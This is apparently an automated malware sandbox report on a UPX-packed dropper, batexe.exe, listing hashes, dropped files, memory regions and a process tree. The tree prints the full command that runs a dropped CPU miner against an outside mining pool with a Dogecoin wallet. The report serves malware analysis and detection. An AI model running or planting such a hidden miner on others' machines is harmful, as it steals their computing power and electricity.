73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
297s
max time network
302s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
19-02-2024 18:52

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
224	b2e.exe
640	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
640	cpuminer-sse2.exe
640	cpuminer-sse2.exe
640	cpuminer-sse2.exe
640	cpuminer-sse2.exe
640	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/1284-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1284 wrote to memory of 224	1284	batexe.exe	73
PID 1284 wrote to memory of 224	1284	batexe.exe	73
PID 1284 wrote to memory of 224	1284	batexe.exe	73
PID 224 wrote to memory of 2176	224	b2e.exe	74
PID 224 wrote to memory of 2176	224	b2e.exe	74
PID 224 wrote to memory of 2176	224	b2e.exe	74
PID 2176 wrote to memory of 640	2176	cmd.exe	77
PID 2176 wrote to memory of 640	2176	cmd.exe	77

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1284
- C:\Users\Admin\AppData\Local\Temp\CA84.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\CA84.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\CA84.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:224
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\CEF8.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2176
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:640

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\CA84.tmp\b2e.exe

Filesize
2.4MB

MD5
ee04099ca04456aa3ec3263fc8478095

SHA1
dc89b1634e0fff0e8203cfcfe26600eb97514e7d

SHA256
97d4085421fc14574d853c4bd8eef8f0a70aad1666fba5a51549d26abfc63dd3

SHA512
6bbcf992e0a1d670a0e861ceefcc03bec5cd5b1f9082ccd4324cca368665b135d63a332cf76bea1ffbadb409078c83d8f31c02141c6d1d053c7ceb937b68531e

Download Submit
C:\Users\Admin\AppData\Local\Temp\CA84.tmp\b2e.exe

Filesize
1.6MB

MD5
4b3e3a3f84660472fb9714cd8feaba1b

SHA1
8561afb6ae0a1ab8a4d8364928811b66fcaf9da9

SHA256
006513b9e4310066d4cb66a1ea11b6619c10e428f5a1ccc39eab92e1d487f442

SHA512
a4ccf4de38da8d27dd065ef09b81a4bca708188c6102211faaa186ddd8f68b87381611da54cb6098758733c799e2a3450cb5cae66b58c29a4264d93f93a1edc2

Download Submit
C:\Users\Admin\AppData\Local\Temp\CEF8.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
1.3MB

MD5
cd6f3149288d53bd9a8e658f32df588f

SHA1
3bf48ced50f18ee6ab9bfe10fb3f9e560b733441

SHA256
2ca00b0f31be25b65b5739f05d4647955d5c1b368ffb87a241ba1d96038e1461

SHA512
9bb1f69e15f14baf1bf1d4982f558219264908ff1c44fd9817efd52f3cd4d67da0462c979824a7074cc9bd7b2fe9400379a9a43fe8455027624f228c6a9bf9d9

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.8MB

MD5
2a3484bd84a13f044f3a8ee799093c98

SHA1
3d3c4d7ad020194122356a22acff00d61d3c2d1a

SHA256
91f20a46c4fdb39ae12157c4d2e27ca6b5d93139c31f1cce8b81f5705720e8be

SHA512
9b6d577937a15a568a138de9e09e90029ac7cfd628165bef58d4a0a381a119daef310dcbf0e3a021c895c9539db93a10b030872085fb743f10f50f91974d3f26

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.9MB

MD5
ded30b7fa1e608fd9b5c2d612911a3cb

SHA1
397576ab83cb826d8abc6af1b85aba5d3fd72fa3

SHA256
1e3d03568ccb6ae7d42b775337baf5698181a91e5cb4336f7a610fd818b1890a

SHA512
c7ccde14fbf4eeab038746f71a5fb5fcebf0a9f905eb5075562f321edcf7fbbf24cfa7246c825abf8ae4ec30d9d801438bf83a36aaf6066da3d1f3518d733bb9

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1.8MB

MD5
0284b7f8a56d440e5772def0420d4e9d

SHA1
d7b77cbfa56efb3fcdef518f0e5d240b08130df7

SHA256
8c5d87792cd5702ac624ba9bea35b85bdc70979ea59914501fbbbcbd2b7cb1e6

SHA512
494d30dc9a7a0ae3a3004ec4938892ce81c6b930daa43bf5ac799d7c18657ce51e52556a69caf6be115fcb36cde621e9dcfbab6800f30f95cd7f5b0673d63a93

Download Submit
memory/224-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/224-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/640-43-0x000000005BFD0000-0x000000005C068000-memory.dmp

Filesize
608KB

Download
memory/640-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/640-42-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/640-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/640-44-0x0000000000F40000-0x00000000027F5000-memory.dmp

Filesize
24.7MB

Download
memory/640-45-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/640-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/640-41-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/640-71-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/640-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/640-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/640-86-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/640-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1284-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download